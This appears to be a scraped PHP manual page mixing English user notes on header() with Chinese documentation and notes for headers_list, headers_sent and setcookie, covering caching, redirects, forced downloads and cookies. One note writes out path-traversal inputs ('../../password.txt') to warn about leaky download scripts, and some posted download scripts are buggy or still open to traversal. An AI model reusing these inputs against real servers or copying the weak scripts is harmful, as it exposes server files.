11-Mar-2005 12:03
These headers only works with include, css, js, html, etc. But doesn't work with images files (jpg, gif, etc.)

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

To no cache images you can use a trick:

$var = md5(time());
$picture_name = "picture.jpg?var=".$var;

picture.jpg is the name of the file that you don't want cache.
ninj at chello dot fr
04-Mar-2005 11:18
A note about the redirection:
the way to redirect is:
header ("location: target.php");

and it is advised to add, before, a:
header ("HTTP/1.0 307 Temporary redirect");
if the redirection is temporary.

But if the redirection occurs after a the submission of a post form, your browser will ask you if you want to keep the post data for the redirected page! This could be very annoying in the case the redirection is wanted.
The solution to avoid this browser question is not to add any redirection info header at all.

So nor the temporary neither the permanent redirect are to use in the case of a redirection after a post (login page for example).
jukkissh at hotmail dot com
25-Feb-2005 07:04
If you are building a download script and you are afraid of someone exploiting it, I got a solution.

Store the information of the downloadable files into a (SQL or text file) database or even in array variable in the code if your list of files is very static. You should store at least the path & filename and unique id-number. You can be creative when thinking what info to store...

Build a download script that GETs an id number and checks the database for the file with the given id. Then force download for that file, if it's found, otherwise print an error message.

Example use:
http://some.host.com/download.php?id=256
  --> Downloading file...
http://some.host.com/download.php?id=h4x.txt
  --> Error! File not found!

The force-download script can be built many ways stated in this page (in the notes at least). Pick one that forces the download well. It does not need any extra security features, because we got them already.
nickesh at o2 dot pl
22-Feb-2005 04:36
I've tried to use the script written above...
(aarondunlap.com 28-Dec-2004 11:17)
It doesn't work for PDF extenction corectly. The file is downloaded but as PHP file, not PFD.
I've removed: $ctype="application/pdf"; from the script (in: case "pdf").
Now it works, but don't ask me why.
aarondunlap.com
29-Dec-2004 06:17
I just made a function to allow a file to force-download (for a script to disallow file links from untrusted sites -- preventing mp3/video leeching on forums), and I realized that a script like that could potentially be very dangerous.

Someone could possibly exploit the script to download sensitive files from your server, like your index.php or passwords.txt -- so I made this switch statement to both allow for many file types for a download script, and to prevent certain types from being accessed.

<?php

function dl_file($file){

   //First, see if the file exists
   if (!is_file($file)) { die("<b>404 File not found!</b>"); }

   //Gather relevent info about file
   $len = filesize($file);
   $filename = basename($file);
   $file_extension = strtolower(substr(strrchr($filename,"."),1));

   //This will set the Content-Type to the appropriate setting for the file
   switch( $file_extension ) {
         case "pdf": $ctype="application/pdf"; break;
     case "exe": $ctype="application/octet-stream"; break;
     case "zip": $ctype="application/zip"; break;
     case "doc": $ctype="application/msword"; break;
     case "xls": $ctype="application/vnd.ms-excel"; break;
     case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
     case "gif": $ctype="image/gif"; break;
     case "png": $ctype="image/png"; break;
     case "jpeg":
     case "jpg": $ctype="image/jpg"; break;
     case "mp3": $ctype="audio/mpeg"; break;
     case "wav": $ctype="audio/x-wav"; break;
     case "mpeg":
     case "mpg":
     case "mpe": $ctype="video/mpeg"; break;
     case "mov": $ctype="video/quicktime"; break;
     case "avi": $ctype="video/x-msvideo"; break;

     //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
     case "php":
     case "htm":
     case "html":
     case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

     default: $ctype="application/force-download";
   }

   //Begin writing headers
   header("Pragma: public");
   header("Expires: 0");
   header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
   header("Cache-Control: public");
   header("Content-Description: File Transfer");

   //Use the switch-generated Content-Type
   header("Content-Type: $ctype");

   //Force the download
   $header="Content-Disposition: attachment; filename=".$filename.";";
   header($header );
   header("Content-Transfer-Encoding: binary");
   header("Content-Length: ".$len);
   @readfile($file);
   exit;
}

?>

This works in both IE and Firefox.
imoore76 at yahoo dot com
15-Dec-2004 05:12
I'd been trying to figure out why I couldn't get Internet Explorer to download a file if I used session_start().  It only happened with certain files.  Here's the undocumented (I couldn't find anything on it) skinny that I've come up with:

If the content type (sent in the Content-type header) is not known to Windows AND the cache-control header contains 'no-store' or 'no-cache' I.E. will error out.  I'm using WindowsXP Home and I.E. 6.0.

Both 'no-store' and 'no-cache' cause the error by themselves and individually.  I've found that always replacing the header with one that excludes those lines works:

<?
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
?>

This error would happen when using any PHP function (or anything else for that matter) that may set 'no-store' and/or 'no-cache' in the Cache-control header.  Provided the content type is not known to Windows.

E.g.

<?

// this works
header("Content-type: text/plain");
header("Cache-Control: no-store, no-cache");
echo($data);

// this does not work
header("Content-type: foo/bar");
header("Cache-Control: no-store, no-cache");
echo($data);

?>

On a side note, content types are kept in the registry under HKEY_CLASSES_ROOT under each file extension.  My downloads were failing with zip files sent as application/zip.  After adding this content type entry under .zip in the registry, I was able to download the file without a problem.  But this was just to test my theory.  Changing the cache-control header was the solution.

I am unsure how/if this effects I.E. on other platforms.
Harry
10-Dec-2004 02:26
Regarding IE choking on PHP-based "downloads" over SSL: problem is that you set "no-cache" and Internet Explorer interprets this to mean "never save to disk. EVER. Even if user explicitly asks for it.". It doesn't distinguish between caching stuff and user-requested save actions.

Dumb, I know. There's at least 3 or 4 Microsoft KB articles related to the issue; google "internet explorer ssl download fails" for more than you ever wanted to know.

Try removing the no-cache directive. And, if like I found, that *STILL* doesn't fix it, check to see if you are using PHP sessions anywhere - if you are, it also sets no-cache, so you need to use session_cache_limiter() to get rid of it there.

I hope this note saves someone the 2 days of hair-pulling I went through.
kbrown at fulchesterunited dot com
07-Dec-2004 05:01
Interesting one this - I have a client who is selling MP3's online. To protect his files, they are obsucrely named, with that name being stored in the Postgresql backend. When the user clicks an MP3 to download, we wrote a script that would dump the file contents and rename etc. to allow the user to download but not guess other files names.

Now, testing was done in Firefox, everything worked just ducky, loaded 'er up in IE. Nada. "File could not be cached..." error and the browser just hung waiting for the transfer to begin. After tinkering, reading these pages, trying the inline/image trick, trying all kinds of things I went on a hard search on Google. Nothing I treid seemed to work.

The following code did not work in IE:

<?
// append .mp3 onto he file name
$name = addslashes(str_replace(" ", "_", $name).".mp3");

// make sure this thing doesn't cache
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");

// create the necessary MP3 headers, this will type the page as MP3 and force download
$len = filesize("/path/client/mp3/".md5("prefix_$id"));
header("Content-type: audio/mpeg;\r\n");
header("Content-Length: $len;\r\n");
$head = "Content-Disposition: attachment; filename=\"$name\";\r\n";
header($head);

// hash the id to create the correct path
$realpath = "/path/client/mp3/".md5("prefix_$id");

// spit out the contents of the MP3 file to the browser
readfile($realpath);
?>

As a last resort, I moved the whole system off the SSL to test some other issues (server & platform)
The problem ended up being that the file download was taking place on a Secure Socket Layer. https://somedomain/download_mp3.php rendered the code invalid. Removing the s, to make http://somedomain/download_mp3.php (I know this is not the best way of maintaining security, but after paying for files, people would be pretty upset if they didn't download!) works like a charm.

I have not found out why this problem occurs yet, I've emailed Microsoft and told them about this (rather stupid) oversight on their part - who does testing over there any way!!! I am assuming that the way IE handles certificates and codec processing is not implemented correctly.

So, I hope this helps - if you're having problems forcing http headers in order to force downloads, content-types, if you're using SSL, try checking your code on non-SSL....
jamief at qubesoft dot com
24-Nov-2004 08:19
If you specify a filename with a number in a content disposition header, Internet Explorer 6 tries to be clever with it, and plays with the filename to try to version it. However, if you don't specify a filename, it will happily use the filename in the URL, and will NOT try to version it. Useful if you have filenames like Q-1.1-win32-bin.msi and you don't want them to end up as Q-1(1).1-win32-bin.msi.

Unfortunately Firefox performs similar mangling regardless of how it received the filename.
guvnor
26-Oct-2004 02:38
One that tripped me up for a while...

When I use PHP sessions, the following headers are sent automatically to force the browser not to cache:

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

If you are having trouble with inline PDFs etc., thses may be causing you problems. As per other notes here if you overwrite these headers before outputting your file, the download problems will go away.

header('Cache-Control:');
header('Pragma:');

If you wish to retain the dynamic content, only send the above if the document you are returning is not HTML.

Its well worth examining your own headers (call your PHP script from another script using get_headers() for instance) before going mad trying to fix something - better still compare the headers from your script with headers from a static web page - it might save you hours of time.
marcelo at redcetus dot com
16-Oct-2004 08:01
Redirect the POST like this:

header("HTTP/1.0 307 Temporary redirect");
header("Location: https://myserver.redcetus.com/otherlocation");

if you dont put the 307 status code, the browser will use the GET method even if the original request was a POST

WARNING: the POST method should not be idempotent. If you need to use this, you better take a closer look to your design.
Jonas Forsman <jfo123 (- at -) hotmail dot com>
14-Oct-2004 03:14
I realized that a download script easily could be made to download the whole server in clear code. That is, all your jewels revealed. To avoid this, use a directory where only your downloadable files resides and second, strip the URL from everything that can be used as evil code.

Evil code coould look like this:
download.php?dl=../../index.php or
download.php?dl=../../password.txt

The below example protects you fairly well from these types of attacks.

$dir  = $_SERVER['DOCUMENT_ROOT'].'/download/';
$file = $dir.basename($_REQUEST['dl']);

if (isset($_REQUEST['dl']) && file_exists($file) ) {
   header('Content-type: application/force-download');
   header('Content-Transfer-Encoding: Binary');
   header('Content-length: '.filesize($file));
   header('Content-disposition: attachment;
   filename='.basename($file));
   readfile($file);
} else {
   echo 'No file with this name for download.';
}
smlsml AT g m a i l
14-Oct-2004 02:51
In IE, you must allow inline PDFs to be cached or they will not load.
Errors like:

File type: Adobe Acrobat Control for ActiveX
and
Internet Explorer was unable to open this site

Are caused by headers like:

header("Pragma: no-cache");
header("Cache-Control: no-store, no-cache");

Use the following and generate a unquie filename:

header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: must-revalidate");

$pdf_file = $filename . date("ymdhis") . ".pdf";

header("Content-type: application/pdf");
header("Content-Disposition: attachment; filename=\"$pdf_file\"");
readfile("original.pdf");
dobleerre at estudiowebs dot com
05-Oct-2004 02:50
If you use the content type image/png instead of application/pdf when sending a PDF file on the header you can override the Famous IExplorer Bug ;).

$len = filesize($filename);
header('Content-type: image/jpeg');
header('Content-Length: $len');
header('Content-Disposition: inline;    filename="filename.pdf"');
readfile($filename);

IExplorer tries to open the picture but because of the file-extension .pdf , voila. The acrobat reader plugin opens the file without even ask you for download.

I've read somewhere, "there is no turnarround on this bug, please install service pack 2".

There is always a turnarround :)

Have fun!!!

Ral Raja Martinez. dobleerre@estudiowebs.com
j dot gizmo at aon dot at
28-Sep-2004 05:09
some browsers always reload stylesheets, javascripts and other seldomnly changing files, which causes nasty delays when loading a website (Safari on MacOS is an example)

to tell the browser to keep files in cache for at least a day, you can use
<?php
header('Expires: ' . gmdate('D, d M Y H:i:s', time()+24*60*60) . ' GMT');
?>
This has the nice sideeffect of telling other browser that never refresh pages to refresh them at least once a day.

PS: i figure this is trivial, but it cost me some headache
bjfield at gmail com
18-Sep-2004 10:25
After upgrading to Windows XP Service Pack 2 (which may or may not be related to this issue), my IE became unable to fetch PDF files served up by the following code:

header('Content-type: application/pdf');
readfile ($filepath);

The error was "file not found," or something to that effect.  This is the solution:

header('Content-type: application/pdf');
header("Pragma: public");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header('Content-Length: ' . filesize($filepath));
readfile ($filepath);

Ben
ondrew at quick dot cz
17-Sep-2004 08:19
How to force browser to use already downloaded and cached file.

If you have images in DB, they will reload each time user views them. To prevent this, web server must identify each file with ID.

When sending a file, web server attaches ID of the file in header called ETag.
header("ETag: \"uniqueID\");

When requesting file, browser checks if the file was already downloaded. If cached file is found, server sends the ID with the file request to server.

Server checks if the IDs match and if they do, sends back
header("HTTP/1.1 304 Not Modified");
else
Server sends the file normally.

<?php

  $file = getFileFromDB();

  // generate unique ID
  $hash = md5($file['contents']);

  $headers = getallheaders();

  // if Browser sent ID, we check if they match
  if (ereg($hash, $headers['If-None-Match']))
  {
   header('HTTP/1.1 304 Not Modified');
  }
  else
  {
   header("ETag: \"{$hash}\"");
   header("Accept-Ranges: bytes");
   header("Content-Length: ".strlen($file['content']));
   header("Content-Type: {$mime}");
   header("Content-Disposition: inline; filename=\"{$file['filename']}\";");

   echo $file['content'];
  }
  exit();
?>
Jeremy
11-Sep-2004 12:34
I have a download script that uses HTTP headers to download files that are located outside of the web path (on a Linux web server).

I was doing what was posted in the normal examples:

$SRC_FILE = "/path/outside/web/server/test.txt";
$download_size = filesize($SRC_FILE);
$filename = basename($SRC_FILE);
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=$filename");
header("Accept-Ranges: bytes");
header("Content-Length: $download_size");
@readfile($SRC_FILE);

But in Internet Explorer, whenever I would click the link to downlad, I could only save the file.  If I tried opening the file directly, it gave an error about not being able to find the temporary file.

After digging around for a while, I found the solution.  You have to set the Cache-Control to private.  So I added the following headers (on top/before the others):

header("Pragma: public");
header("Expires: 0");
header("Cache-Control: private");

And now it works.  I had a different Cache-Control setting before, and it wasn't working.  So I'm certain that setting the Cache-Control to private is what fixed it.

The server environment is Apache 1.3.29 with PHP 4.3.8 running over mod_ssl and using PHP sessions.

Hope this helps someone!
pete at flifl dot com
20-Jul-2004 07:08
Is Unicode, UTF-8 and setcookie, session_start at the same time impossible...?

Well, then you might need this...:

1) Keep your source files in ASCII to avoid the Byte Order Mark (BOM) confusion hell when include'ing or require'ing multiple files and avoid cookies not working because of the "header already sent" thing..

2) use this source:
-------->
<?
   header('Content-Type: text/html; charset=utf-8');
   header('Set-Cookie: track=978268624934537');
?>
<html>
   <head>
       <meta http-equiv=Content-Type content="text/html; charset=utf-8" />
<--------

Output through Apache to the browser will be UTF-8 and does not require browser to get page twice and the cookie works.
Your Chinese or cyrillic characters will work and come on out right too, provided you make an input script to put them into mysql using this scheme too.

Seems to me to be the way to use utf-8 with cookies. I hope you like it.

Peter Sierst Nielsen
smgallo at buffalo dot edu
13-Jul-2004 02:08
I've noticed many suggestions to re-order the headers in a script, especially the 'Content-Type: application/octetstream' and 'Content-Type: application/octet-stream' headers.

Note that without adding the "false" option to the header() call, you are simply overwriting all previous headers with the last one called.  For example:

header("Cache-Control: must-revalidate");  // HTTP/1.1
header("Cache-Control: post-check=0, pre-check=0, max-age=0");

will return only

Cache-Control: post-check=0, pre-check=0, max-age=0

Steve
motion at abv dot bg
23-Apr-2004 04:18
In response to Martin Anso and for your benefit, here's an even better routine for forcing the browser to save a file, rather than opening it.

-----------
$f = fopen("file.txt", "rb");
$content_len = (int) filesize($f, "file.txt");
$content_file = fread($f, $content_len);
fclose($f);

$output_file = 'something.txt';

@ob_end_clean();
@ini_set('zlib.output_compression', 'Off');
header('Pragma: public');

header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate'); // HTTP/1.1
header('Cache-Control: pre-check=0, post-check=0, max-age=0'); // HTTP/1.1
header('Content-Transfer-Encoding: none');
header('Content-Type: application/octetstream; name="' . $output_file . '"'); //This should work for IE & Opera
header('Content-Type: application/octet-stream; name="' . $output_file . '"'); //This should work for the rest
header('Content-Disposition: inline; filename="' . $output_file . '"');
header("Content-length: $content_len");

echo $content_file;
exit();
jp at webgraphe dot com
22-Nov-2003 07:56
A call to session_write_close() before the statement

   header("Location: URL");
   exit();

is recommended if you want to be sure the session is updated before proceeding to the redirection.

We encountered a situation where the script accessed by the redirection wasn't loading the session correctly because the precedent script hadn't the time to update it (we used a database handler).

JP.
manuzhai dot REMOVE dot THIS at php dot net
18-Nov-2003 07:00
If you are using a redirect to an ErrorDocument, you may want to prefix your output with header("HTTP/1.0 200 OK"); to make sure automated clients don't think your file wasn't found.
emmett_the_spam at yahoo dot com
04-Nov-2003 09:17
This is a heads-up not just for php, but for any method of creating a 302 redirect.  Mac IE 5.1.4 (osx) has a serious bug when it comes to the 302.

Say you have a form post page A with action pointing to a submit page B, and the submit page B processes and sends a 302 redirect back to the form page A.  All works fine with that part.  Now hit refresh while on page A, and the last form POST is suddenly delivered to page A!

This can be a very confusing bug to deal with, depending on how your code handles incoming post data.  It could also be potentially very dangerous in terms of data loss, if it occurs within database administration pages (where I ran into it).  What you may want to do is plan your site so that the form page itself never needs to read POST data, and then ignore all POST data.  Either that, or in the location url from your header function add a query argument such as "nopost=1" which, when present, indicates to your page A code to ignore the POST data.

I've tested with Firebird Mac/PC, and IE6 on PC, and those browsers do not exhibit this behaviour.
bMindful at fleetingiamge dot org
01-Jun-2003 06:08
If you haven't used, HTTP Response 204 can be very convenient. 204 tells the server to immediately termiante this request. This is helpful if you want a javascript (or similar) client-side function to execute a server-side function without refreshing or changing the current webpage. Great for updating database, setting global variables, etc.

     header("status: 204");  (or the other call)
     header("HTTP/1.0 204 No Response");
mpriatel at rogers dot com
24-Sep-2002 05:41
Another general fix for many of the problems that occure when trying to prompt a filename to download is to append a '/' to your download URL.  This fixes a NS7 problem where it wants to add a .PHP extension to all filenames.

For example, change:

http://www.url.com/download.php?file=23
to
http://www.url.com/download.php/?file=23
dadarden_nospamola at iti2 dot nospamola dot net
20-Jul-2002 08:38
If you use session_start() at the top of a php script that also has header() calls later in the script for a file download then you must add some form of cache control for IE to work properly.  I use header('Cache-Control: public'); immediately after the code at the top of the script with the session_start() call that verifies that I have a properly logged in user.  That allows the header() and fpassthru() calls to download a file later in the script using IE 5.5 SP2.
dpiper at stens dot com
24-May-2002 08:34
For inline images (JPEG for example):

header('Content-Type: image/jpeg');
header('Content-Disposition: inline; filename=file.jpg);

For attachments (Adobe PDF for example):

header('Content-Type: application/pdf');
header('Content-Disposition: attachment; filename=file.pdf);

NOTE: In Internet Explorer, the Content-Disposition header is important, otherwise it will be inline. 'Content-Disposition: attachment' will ALWAYS make IE download it.

NOTE: In Netscape, if you want to force it to be a download (i.e. not inline), use header('Content-Type: application/octet-stream').
Netscape doesn't appear to care about the Content-Disposition header apart from when it's in an email message, then the header controls behaviour as expected.

It's best to be specific about the file you're sending. Don't rely on the interpretation of the browsers in the face of missing or default headers.

Content-Length is good to set for downloads, since it will allow the browser to show a progress meter. It has to be accurate otherwise the browser will stall in downloading.
add a note add a note

后退 | 起点 | 前进
HTTP 函数 | 上一级 | headers_list


headers_list

(PHP 5)

headers_list -- 返回已发送（或准备发送）的响应标头的列表

说明

array headers_list ( void )

headers_list() 将返回一个数字索引的数组，包含有向浏览器／客户端发送的标头。要判断标头是否已被发送，使用 headers_sent()。

例子 1. headers_list() 例子

<?php

/* setcookie() will add a response header on its own */
setcookie('foo', 'bar');

/* Define a custom response header
   This will be ignored by most clients */
header("X-Sample-Test: foo");

/* Specify plain text content in our response */
header('Content-type: text/plain');

/* What headers are going to be sent? */
var_dump(headers_list());

?>

上例的输出类似于：

array(4) {
  [0]=>
  string(29) "X-Powered-By: PHP/5.0.0"
  [1]=>
  string(19) "Set-Cookie: foo=bar"
  [2]=>
  string(18) "X-Sample-Test: foo"
  [3]=>
  string(24) "Content-type: text/plain"
}

参见 headers_sent()，header() 和 setcookie()。

add a note add a note User Contributed Notes
Jimmy_worx
12-May-2005 07:44
Be aware that this is not an exact replacement for apache_response_headers(), because that will return an associative array, while this returns an array with a numerical  index and the whole header-line in the value of it.
add a note add a note

后退 | 起点 | 前进
header | 上一级 | headers_sent


headers_sent

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

headers_sent -- 检查标头是否已被发送以及在哪里被发送

说明

bool headers_sent ( [string &file [, int &line]] )

如果 HTTP 标头尚未被发送出去的话，headers_sent() 将返回 FALSE，否则返回 TRUE。如果指定了可选参数 file 和 line， headers_sent() 将会把 PHP 的文件名以及从哪一行开始有输出放到 file 和 line 变量中。

一旦标头已经被发送，将不能再使用 header() 函数来发送其它的标头。使用此函数至少可以避免避免与 HTTP 标头有关的错误信息。另一个选择是使用输出缓存。

注: 可选参数 file 和 line 是 PHP 4.3.0 版添加的。

例子 1. headers_sent() 例子

<?php

// 如果尚未发送标头，发送一个
if (!headers_sent()) {
    header('Location: http://www.example.com/');
    exit;
}

// 一个使用可选参数 file 和 line 的例子，自 PHP 4.3.0 起
// 注意 $filename 和 $linenum 被传递进来用于后续代码，不要预先赋值
if (!headers_sent($filename, $linenum)) {
    header('Location: http://www.example.com/');
    exit;

// 这里就触发了一个错误
} else {

    echo "Headers already sent in $filename on line $linenum\n" .
          "Cannot redirect, for now please click this <a " .
          "href=\"http://www.example.com\">link</a> instead\n";
    exit;
}

?>

相关问题的详细讨论参见 ob_start()，trigger_error() 和 header()。

add a note add a note User Contributed Notes
rajnesh at gmail dot com
25-Feb-2006 02:19
headers_sent() will return FALSE if no HTTP headers have already been sent or TRUE otherwise. If the optional file and line parameters are set, headers_sent() will put the PHP source file name and line number where output started in the file and line variables.

You can't add any more header lines using the header() function once the header block has already been sent. Using this function you can at least prevent getting HTTP header related error messages. Another option is to use Output Buffering.

Note: The optional file and line parameters where added in PHP 4.3.0.
Jakob B.
07-Jan-2006 07:03
<?php
function redirect($filename) {
   if (!headers_sent())
       header('Location: '.$filename);
   else {
       echo '<script type="text/javascript">';
       echo 'window.location.href="'.$filename.'";';
       echo '</script>';
       echo '<noscript>';
       echo '<meta http-equiv="refresh" content="0;url='.$filename.'" />';
       echo '</noscript>';
   }
}
redirect('http://www.google.com');
?>
trevize (shtrudel) gmail.com
30-Nov-2005 10:43
Note that in IIS (or at least the version that comes with W2K server), the server seems to do some buffering, so even if you output someting or cause a warning, the value of headers_sent() may be false because the headers haven't been sent yet.

So it's not a safe way to know if warnings have been encountered in your script.
php [at] barryhunter [.] co [.] uk
09-Sep-2005 06:42
In responce to: Terry 11-Feb-2005 03:58

if PHP is run as a Module, then it will behave as you describe

However if PHP is run as a CGI then it will be behave like Perl, (which uses CGI unless its mod_perl), as this is a CGI behaviour.

See http://ppewww.ph.gla.ac.uk/~flavell/www/perlcgifaq.html
alexrussell101 at gmail dot com
02-Sep-2005 06:31
To K.Tomono:

Headers are not sent as soon as you call the header() function. They are only sent as soon as some body content (i.e. HTML via echo or escaping from PHP parsing mode) is reached (or, like you did, you send a flush.) Thus after calling header a few times at the beginning they are still unsent and when you call headers_sent() it knows they haven't been sent and reports so. Only when the script ends or you output from content do all the headers so far send.
I think you misunderstood the way they are done and hopefully this should clear a few things up for you.
mark at dreamjunky dot com
29-Jun-2005 12:56
In case this comes up with anyone else, you might trigger headers to be sent if you have a PHP file with extra space after the closing ?>.  In particular, if you include that file at the top of your main script, it will cause headers to send, followed by the space after the ?> in your included script.  In short, make sure you don't have any space trailing your final ?>.
K.Tomono
22-Apr-2005 01:24
[code]
<?php
header("Cache-Control: private, must-revalidate, max-age=3600, post-check=3600, pre-check=3600");
////header("Last-Modified: " . gmdate("D, d M Y H:i:s",getlastmod())." GMT");
////ini_set("last_modified","1");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
flush(); // <= (*1)
...
if (!headers_sent()) {
  header('Content-Type:text/html; charset='._CHARSET);
  header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
  //header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');
  header('Cache-Control: private, no-cache');
  header('Pragma: no-cache');
}
...
?>
[/code]

headers_sent() does not evaluate it as true, unless the flush()(*1) has been done.

It seems that it does not mean header was sent unless a header output is taken
out to the exterior of PHP.

Apache 2.0.53 (prefork)
PHP 5.0.3 (server module)
... And XOOPS 2.0.9.2

I had seldom paid attention to flush() on PHP which is not C.
However, it might have been a required thing.

[pre]
$ curl --cookie PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX -i \
"http ://myhost.mydomain/xoops/modules/test.php?i=1" | less
  % Total    % Received % Xferd  Average Speed          Time            Curr.
                                 Dload  Upload Total    Current  Left    Speed
  0    0    0    0    0    0      0      0 --:--:--  0:00:00 --:--:--    0

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2005 05:00:11 GMT
Server: Apache
X-Powered-By: PHP/5.0.3
Set-Cookie: PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, must-revalidate, max-age=3600, post-check=3600, pre-check=3600
Pragma: no-cache
Last-Modified: Fri, 22 Apr 2005 05:00:11 GMT
Transfer-Encoding: chunked
Content-Type: text/html
[/pre]
(*)"http :" is "http:" in fact.
Terry
11-Feb-2005 11:58
For programmers used to Perl, note that sending a relative 'Location:' header sends a redirect to the browser in PHP, unlike Perl which will attempt to call relative URLs using an internal subrequest and return that page to the browser without redirecting.  If you want to do the same trick in PHP, use include() or virtual().
php at fufachew dot REMOVEME dot com
29-Feb-2004 03:26
RE: antti at haapakangas dot net's post

I've changed the code so $_SERVER['SERVER_NAME'] is used if $_SERVER['HTTP_HOST'] is not set.  $_SERVER['SERVER_NAME'] doesn't meet my needs, but I suppose it's good to fall back on it.  I've also fixed a problem in the meta refresh line - it was missing the "url=" part of the content attribute.

<?php
function server_url()
{
   $proto = "http" .
       ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "s" : "") . "://";
   $server = isset($_SERVER['HTTP_HOST']) ?
       $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
   return $proto . $server;
}

function redirect_rel($relative_url)
{
   $url = server_url() . dirname($_SERVER['PHP_SELF']) . "/" . $relative_url;
   if (!headers_sent())
   {
       header("Location: $url");
   }
   else
   {
       echo "<meta http-equiv=\"refresh\" content=\"0;url=$url\">\r\n";
   }
}
?>
antti at haapakangas dot net
29-Jan-2004 04:39
Re: php at fufachew dot com

That's a nice example how to implement Location header in a correct way (using absoluteURI). 95% of the scripts I have seen just use relativeURI which is wrong. Some browsers, for example lynx, actually notify user about incomplete Location headers. However it might be safer to use $_SERVER['SERVER_NAME'] instead of $_SERVER['HTTP_HOST']. Host header is a HTTP/1.1 feature and you can not count on that if you want to be interoperable with HTTP/1.0 implementations.
add a note add a note

后退 | 起点 | 前进
headers_list | 上一级 | setcookie


setcookie

(PHP 3, PHP 4, PHP 5)

setcookie -- 发送一个 cookie 信息

说明

bool setcookie ( string name [, string value [, int expire [, string path [, string domain [, bool secure]]]]] )

setcookie() 定义一个和其余的 HTTP 标头一起发送的 cookie。和其它标头一样，cookie 必须在脚本的任何其它输出之前发送（这是协议限制）。这需要将本函数的调用放到任何输出之前，包括 <html> 和 <head> 标签以及任何空格。如果在调用 setcookie() 之前有任何输出，本函数将失败并返回 FALSE。如果 setcookie() 函数成功运行，将返回 TRUE。这并不说明用户是否接受了 cookie。

注: 自 PHP 4 起，可以用输出缓存来在调用本函数前输出内容，代价是把所有向浏览器的输出都缓存在服务器，直到下命令发送它们。可以在代码中使用 ob_start() 及 ob_end_flush() 来实现这样的功能，或者通过修改 php.ini 中的 output_buffering 配置选项来实现，也可以通过修改服务器配置文件来实现。

除了 name 外，其它所有参数都是可选的。可以用空字符串（""）替换某参数以跳过该参数。因为参数 expire 是整型，不能用空字符串掉过，可以用零（0）来代替 。下面的表格对 setcookie() 的每一个参数都进行了解释。可以对照 Netscape cookie 规范以了解 setcookie() 的每一个参数的细节以及通过阅读 RFC 2965 了解 HTTP cookie 的工作方式。

表格 1. setcookie() 参数详解

参数 | 说明 | 举例
name | Cookie 的名字。 | 使用 $_COOKIE['cookiename'] 调用名为 cookiename 的 cookie。
value | Cookie 的值。此值保存在客户端，不要用来保存敏感数据。 | 假定 name 是 'cookiename'，可以通过 $_COOKIE['cookiename'] 取得其值。
expire | Cookie 过期的时间。这是个 Unix 时间戳，即从 Unix 纪元开始的秒数。换而言之，通常用 time() 函数再加上秒数来设定 cookie 的失效期。或者用 mktime()来实现。 | time()+60*60*24*30 将设定 cookie 30 天后失效。如果未设定，cookie 将会在会话结束后（一般是浏览器关闭）失效。
path | Cookie 在服务器端的有效路径。 | 如果该参数设为 '/' 的话，cookie 就在整个 domain 内有效，如果设为 '/foo/'，cookie 就只在 domain 下的 /foo/ 目录及其子目录内有效，例如 /foo/bar/。默认值为设定 cookie 的当前目录。
domain | 该 cookie 有效的域名。 | 要使 cookie 能在如 example.com 域名下的所有子域都有效的话，该参数应该设为 '.example.com'。虽然 . 并不必须的，但加上它会兼容更多的浏览器。如果该参数设为 www.example.com 的话，就只在 www 子域内有效。细节见 Cookie 规范中的 tail matching。
secure | 指明 cookie 是否仅通过安全的 HTTPS 连接传送。当设成 TRUE 时，cookie 仅在安全的连接中被设置。默认值为 FALSE。 | 0 或 1

当 cookie 被设置后，便可以在其它页面通过 $_COOKIE 或 $HTTP_COOKIE_VARS 数组取得其值。需要注意的是，autoglobals 的 $_COOKIE 形式适用于 PHP 4.1.0 或更高版本。而 $HTTP_COOKIE_VARS 则从 PHP 3 起就可以使用。Cookie 的值也会被保存到 $_REQUEST 数组中。

注: 如果 PHP 的选项 register_globals 被设为 on 的话，cookie 的值仍然会被斌到变量内。在下面的例子中，$TestCookie 会被注册，但是仍然推荐使用 $_COOKIE 数组。

常见缺陷：

  • Cookies 不会在设置它的本页生效，要测试一个 cookie 是否被成功的设定，可以在其到期之前通过另外一个页面来访问其值。过期时间是通过参数 expire 来设置的。可以简单地使用 print_r($_COOKIE); 来调试现有的 cookies。

  • Cookie 必须用和设定时的同样的参数才能删除。如果其值一个空字符串，或者是 FALSE，并且其它的参数都和前一次调用 setcookie 时相同，那么所指定名称的 cookie 将会在远程客户端被删除。

  • 由于把 cookie 的值设为 FALSE 会使客户端尝试删除这个 cookie，所以要在 cookie 上保存 TRUE 或 FALSE 时不应该直接使用 boolean 值，而应该用 0 来表示 FALSE，用 1 来表示 TRUE

